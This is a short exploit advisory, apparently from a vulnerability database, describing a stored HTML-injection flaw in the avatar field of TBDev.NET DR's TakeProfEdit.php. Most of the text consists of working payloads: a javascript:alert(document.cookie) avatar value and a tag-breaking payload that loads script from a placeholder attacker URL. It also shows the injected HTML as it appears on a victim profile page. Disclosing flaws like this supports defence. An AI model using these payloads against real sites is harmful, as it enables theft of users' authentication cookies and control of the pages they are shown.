TBDev.NET DR - 'TakeProfEdit.php' HTML Injection

source: https://www.securityfocus.com/bid/24923/info

TBDev.NET DR is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

TBDev.NET DR 010306 and prior versions are vulnerable. 

version 11-10-05-BETA-SF1:111005 <=

 $avatar = $_POST["avatar"];

 where

 $_POST["avatar"]=javascript:alert(document.cookie);
  or
 $_POST["avatar"]="><script 
src=http://urlmaliciousJavaScript></script><";

-> last version  <= 010306
$_POST["avatar"]=javascript:alert(document.cookie);

go to
http://torrentvictim/userdetails.php?id=malicioususerprofileid
the souce code is:
...<tr><td class=rowhead>Avatar</td><td align=left><img src="\"><script
src=http://urlmaliciousJavaScript><script><\""></td></tr>...

or

...<tr><td class=rowhead>Avatar</td><td align=left><img
src="javascript:alert(document.cookie);"></td></tr>...